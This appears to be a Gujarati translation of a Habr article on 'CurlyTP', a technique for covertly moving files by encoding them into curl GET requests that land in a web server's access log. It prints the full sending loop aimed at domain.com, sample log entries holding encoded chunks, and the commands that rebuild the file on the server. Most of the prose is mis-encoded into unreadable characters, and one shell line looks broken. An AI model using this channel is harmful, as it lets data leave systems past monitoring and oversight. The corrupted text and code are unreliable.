เชตเชฟเชเชฟเชชเซเชกเชฟเชฏเชพเชจเซ เชตเซเชฏเชพเชเซเชฏเชพ เชฎเซเชเชฌ, เชกเซเชก เชกเซเชฐเซเชช เช เชเช เชเชพเชตเชคเชฐเซเช เชธเชพเชงเชจ เชเซ เชเซ เชเซเชชเซเชค เชธเซเชฅเชพเชจเชจเซ เชเชชเชฏเซเช เชเชฐเชคเชพ เชฒเซเชเซ เชตเชเซเชเซ เชฎเชพเชนเชฟเชคเซ เช เชฅเชตเชพ เชเซเชเชฒเซเช เชตเชธเซเชคเซเชเชจเซ เชเชช-เชฒเซ เชเชฐเชตเชพ เชฎเชพเชเซ เชธเซเชตเชพ เชเชชเซ เชเซ. เชตเชฟเชเชพเชฐ เช เชเซ เชเซ เชฒเซเชเซ เชเซเชฏเชพเชฐเซเชฏ เชฎเชณเชคเชพ เชจเชฅเซ - เชชเชฐเชเชคเซ เชคเซเช เชนเชเซ เชชเชฃ เชเชชเชฐเซเชถเชจเชฒ เชธเชฒเชพเชฎเชคเซ เชเชพเชณเชตเชตเชพ เชฎเชพเชนเชฟเชคเซเชจเซ เชเชช-เชฒเซ เชเชฐเซ เชเซ.
เชเซเชชเชพเชตเชพเชจเซ เชเชเซเชฏเชพเช เชงเซเชฏเชพเชจ เชเชเชฐเซเชทเชฟเชค เชจ เชเชฐเชตเซเช เชเซเชเช. เชคเซเชฅเซ, เชเชซเชฒเชพเชเชจ เชตเชฟเชถเซเชตเชฎเชพเช เชคเซเช เชเชฃเซเชตเชพเชฐ เชธเชฎเชเชฆเชพเชฐ เชตเชธเซเชคเซเชเชจเซ เชเชชเชฏเซเช เชเชฐเซ เชเซ: เชฆเชฟเชตเชพเชฒเชฎเชพเช เชเช เชเซเชเช เชเชเช, เชชเซเชธเซเชคเชเชพเชฒเชฏเชจเซเช เชชเซเชธเซเชคเช เช เชฅเชตเชพ เชเชพเชกเชฎเชพเช เชนเซเชฒเซ.
เชเชจเซเชเชฐเชจเซเช เชชเชฐ เชเชฃเชพ เชเชจเซเชเซเชฐเชฟเชชเซเชถเชจ เช
เชจเซ เช
เชจเชพเชฎเซเชเชฐเชฃ เชธเชพเชงเชจเซ เชเซ, เชชเชฐเชเชคเซ เช เชธเชพเชงเชจเซเชจเซ เชเชชเชฏเซเช เชเชฐเชตเชพเชจเซ เชนเชเซเชเชค เชงเซเชฏเชพเชจ เชเชเชฐเซเชทเชฟเชค เชเชฐเซ เชเซ. เชตเชงเซเชฎเชพเช, เชคเซเช เชเซเชฐเซเชชเซเชฐเซเช เช
เชฅเชตเชพ เชธเชฐเชเชพเชฐเซ เชธเซเชคเชฐเซ เช
เชตเชฐเซเชงเชฟเชค เชฅเช เชถเชเซ เชเซ. เชถเซ เชเชฐเชตเซ?
เชตเชฟเชเชพเชธเชเชฐเซเชคเชพ เชฐเชพเชฏเชจ เชซเซเชฒเชพเชตเชฐเซเชธเซ เชเช เชฐเชธเชชเซเชฐเชฆ เชตเชฟเชเชฒเซเชช เชชเซเชฐเชธเซเชคเชพเชตเชฟเชค เชเชฐเซเชฏเซ -
เชคเซ เชคเชพเชฐเชฃ เชเชชเซ เชเซ เชเซ เชเซเชเชชเชฃ เชตเซเชฌ เชธเชฐเซเชตเชฐ เชคเชฎเชจเซ เชฒเซเชเชฎเชพเช เชฒเชเชญเช เชเซเชเชชเชฃ เชธเชเชฆเซเชถ เชธเชพเชเชตเชตเชพเชจเซ เชฎเชเชเซเชฐเซ เชเชชเซ เชเซ. เชซเซเชฒเซเชจเซ เชเชถเซเชเชฐเซเชฏ เชฅเชฏเซเช เชเซ เชเชจเซ เชเชชเชฏเซเช เชเซเชตเซ เชฐเซเชคเซ เชเชฐเชตเซ.
เชคเซ เช เชตเชฟเชเชฒเซเชช เชเชชเซ เชเซ:
- เชเซเชเซเชธเซเช เชซเชพเชเชฒ (เชเซเชชเซเชค เชธเชเชฆเซเชถ) เชฒเซ เช เชจเซ เชนเซเชถ (md5sum) เชจเซ เชเชฃเชคเชฐเซ เชเชฐเซ.
- เช เชฎเซ เชคเซเชจเซ เชเชจเซเชเซเชก เชเชฐเซเช เชเซเช (gzip+uuencode).
- เช เชฎเซ เชธเชฐเซเชตเชฐเชจเซ เชเชพเชฃเซเชเซเชเชจเซ เชเซเชเซ เชตเชฟเชจเชเชคเซเชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ เชฒเซเช เชชเชฐ เชฒเชเซเช เชเซเช.
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh
เชซเชพเชเชฒ เชตเชพเชเชเชตเชพ เชฎเชพเชเซ, เชคเชฎเชพเชฐเซ เช เชเชชเชฐเซเชถเชจเซเชธเชจเซ เชตเชฟเชชเชฐเซเชค เชเซเชฐเชฎเชฎเชพเช เชเชฐเชตเชพเชจเซ เชเชฐเซเชฐ เชเซ: เชซเชพเชเชฒเชจเซ เชกเซเชเซเชก เช เชจเซ เช เชจเชเชฟเชช เชเชฐเซ, เชนเซเชถ เชคเชชเชพเชธเซ (เชนเซเชถเชจเซ เชเซเชฒเซเชฒเซ เชเซเชจเชฒเซ เชชเชฐ เชธเซเชฐเชเซเชทเชฟเชค เชฐเซเชคเซ เชเซเชฐเชพเชจเซเชธเชฎเชฟเช เชเชฐเซ เชถเชเชพเชฏ เชเซ).
เชเชเซเชฏเชพเช เชธเชพเชฅเซ เชฌเชฆเชฒเชตเชพเชฎเชพเช เชเชตเซ เชเซ =+=
เชเซเชฅเซ เชธเชฐเชจเชพเชฎเชพเชฎเชพเช เชเซเช เชเชเซเชฏเชพ เชจ เชนเซเชฏ. เชชเซเชฐเซเชเซเชฐเชพเชฎ, เชเซเชจเซ เชฒเซเชเช เชเชฐเซเชฒเซเชเซเชชเซ เชเชนเซ เชเซ, เชเชฎเซเชเชฒ เชเซเชกเชพเชฃเซเชจเซ เชเซเชฎ, เชฌเซเช 64 เชเชจเซเชเซเชกเชฟเชเชเชจเซ เชเชชเชฏเซเช เชเชฐเซ เชเซ. เชตเชฟเชจเชเชคเซ เชเซเชตเชฐเซเชก เชธเชพเชฅเซ เชเชฐเชตเชพเชฎเชพเช เชเชตเซ เชเซ ?transfer?
เชเซเชฅเซ เชชเซเชฐเชพเชชเซเชคเชเชฐเซเชคเชพ เชคเซเชจเซ เชฒเซเชเชฎเชพเช เชธเชฐเชณเชคเชพเชฅเซ เชถเซเชงเซ เชถเชเซ.
เช เชเชฟเชธเซเชธเชพเชฎเชพเช เชฒเซเชเชฎเชพเช เชเชชเชฃเซ เชถเซเช เชเซเชเช เชเซเช?
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"
เชชเชนเซเชฒเซเชฅเซ เช เชเชฒเซเชฒเซเช เชเชฐเซเชฏเซ เชเซ เชคเซเชฎ, เชเซเชชเซเชค เชธเชเชฆเซเชถ เชชเซเชฐเชพเชชเซเชค เชเชฐเชตเชพ เชฎเชพเชเซ เชคเชฎเชพเชฐเซ เชตเชฟเชชเชฐเซเชค เชเซเชฐเชฎเชฎเชพเช เชเชพเชฎเชเซเชฐเซ เชเชฐเชตเชพเชจเซ เชเชฐเซเชฐ เชเซ:
Remote machine
[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue
[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g
เชชเซเชฐเชเซเชฐเชฟเชฏเชพ เชธเซเชตเชเชพเชฒเชฟเชค เชเชฐเชตเชพ เชฎเชพเชเซ เชธเชฐเชณ เชเซ. Md5sum เชฎเซเชณ เชเชพเชฏ เชเซ, เช เชจเซ เชซเชพเชเชฒเชจเซ เชธเชพเชฎเชเซเชฐเซ เชชเซเชทเซเชเชฟ เชเชฐเซ เชเซ เชเซ เชฌเชงเซเช เชฏเซเชเซเชฏ เชฐเซเชคเซ เชกเซเชเซเชก เชเชฐเชตเชพเชฎเชพเช เชเชตเซเชฏเซเช เชนเชคเซเช.
เชชเชฆเซเชงเชคเชฟ เชเซเชฌ เช เชธเชฐเชณ เชเซ. โเช เชเชตเชพเชฏเชคเชจเซ เชฎเซเชฆเซเชฆเซ เชซเชเซเชค เช เชธเชพเชฌเชฟเชค เชเชฐเชตเชพเชจเซ เชเซ เชเซ เชจเชฟเชฐเซเชฆเซเชท เชจเชพเชจเซ เชตเซเชฌ เชตเชฟเชจเชเชคเซเช เชฆเซเชตเชพเชฐเชพ เชซเชพเชเชฒเซเชจเซ เชธเซเชฅเชพเชจเชพเชเชคเชฐเชฟเชค เชเชฐเซ เชถเชเชพเชฏ เชเซ, เช เชจเซ เชคเซ เชธเชพเชฆเชพ เชเซเชเซเชธเซเช เชฒเซเช เชธเชพเชฅเซ เชเซเชเชชเชฃ เชตเซเชฌ เชธเชฐเซเชตเชฐ เชชเชฐ เชเชพเชฐเซเชฏ เชเชฐเซ เชเซ. เช เชจเชฟเชตเชพเชฐเซเชฏเชชเชฃเซ, เชฆเชฐเซเช เชตเซเชฌ เชธเชฐเซเชตเชฐ เชเช เชเซเชชเชพเชตเชตเชพเชจเซ เชเชเซเชฏเชพ เชเซ!โ เชซเซเชฒเชพเชตเชฐเซเชธ เชฒเชเซ เชเซ.
เช เชฒเชฌเชคเซเชค, เชชเชฆเซเชงเชคเชฟ เชซเชเซเชค เชคเซเชฏเชพเชฐเซ เช เชเชพเชฐเซเชฏ เชเชฐเซ เชเซ เชเซ เชชเซเชฐเชพเชชเซเชคเชเชฐเซเชคเชพเชจเซ เชธเชฐเซเชตเชฐ เชฒเซเชเชจเซ เชเชเซเชธเซเชธ เชนเซเชฏ. เชชเชฐเชเชคเซ เชเชตเซ เชเชเซเชธเซเชธ เชชเซเชฐเชฆเชพเชจ เชเชฐเชตเชพเชฎเชพเช เชเชตเซ เชเซ, เชเชฆเชพเชนเชฐเชฃ เชคเชฐเซเชเซ, เชเชฃเชพ เชนเซเชธเซเชเชฐเซเชธ เชฆเซเชตเชพเชฐเชพ.
เชคเซเชจเซ เชเชชเชฏเซเช เชเซเชตเซ เชฐเซเชคเซ เชเชฐเชตเซ?
Ryan Flowers เชเชนเซ เชเซ เชเซ เชคเซ เชฎเชพเชนเชฟเชคเซ เชธเซเชฐเชเซเชทเชพ เชจเชฟเชทเซเชฃเชพเชค เชจเชฅเซ เช เชจเซ CurlyTP เชฎเชพเชเซ เชธเชเชญเชตเชฟเชค เชเชชเชฏเซเชเซเชจเซ เชธเซเชเชฟ เชคเซเชฏเชพเชฐ เชเชฐเชถเซ เชจเชนเซเช. เชคเซเชจเชพ เชฎเชพเชเซ, เชคเซ เชเซเชฏเชพเชฒเชจเซ เชฎเชพเชคเซเชฐ เชเช เชชเซเชฐเชพเชตเซ เชเซ เชเซ เชเซ เชชเชฐเชฟเชเชฟเชค เชธเชพเชงเชจเซ เชเชชเชฃเซ เชฆเชฐเชฐเซเช เชเซเชเช เชเซเช เชคเซเชจเซ เชเชชเชฏเซเช เชฌเชฟเชจเชชเชฐเชเชชเชฐเชพเชเชค เชฐเซเชคเซ เชฅเช เชถเชเซ เชเซ.
เชนเชเซเชเชคเชฎเชพเช, เช เชชเชฆเซเชงเชคเชฟเชฎเชพเช เช
เชจเซเชฏ เชธเชฐเซเชตเชฐ "เชเซเชชเชพเชตเซ เชเซ" เชเซเชตเชพ เชเชฃเชพ เชซเชพเชฏเชฆเชพ เชเซ
เชธเซเชตเชพ เชซเชพเชเชฒเซ เชฆเซเชตเชพเชฐเชพ เชธเชเชฆเซเชถเชพเช เชชเซเชฐเชธเชพเชฐเชฟเชค เชเชฐเชตเชพเชจเซ เช เชเช เชฐเซเชค เชเซ. เชคเชฎเซ เชฏเชพเชฆ เชเชฐเซ เชถเชเซ เชเซ เชเซ เชเซเชเชฒเซเช เช
เชฆเซเชฏเชคเชจ เชเชเชชเชจเซเช เชเซเชตเซ เชฐเซเชคเซ เชฎเซเชเชคเซ เชนเชคเซ
เชตเชฟเชเชพเชฐ เชเชตเซ เชนเชคเซ เชเซ เชซเชเซเชค เชตเซเชฌ เชกเซเชตเชฒเชชเชฐเซเชธ เช เช เชเชธเซเชเชฐ เชเช เชเซเชถเซ, เชเชพเชฐเชฃ เชเซ เชธเชพเชฎเชพเชจเซเชฏ เชตเซเชฏเชเซเชคเชฟ เชนเซเชกเชฐเซเชธ เช
เชฅเชตเชพ HTML เชเซเชกเชจเซ เชเซเชถเซ เชจเชนเซเช.
เชธเซเชฐเซเชธ: www.habr.com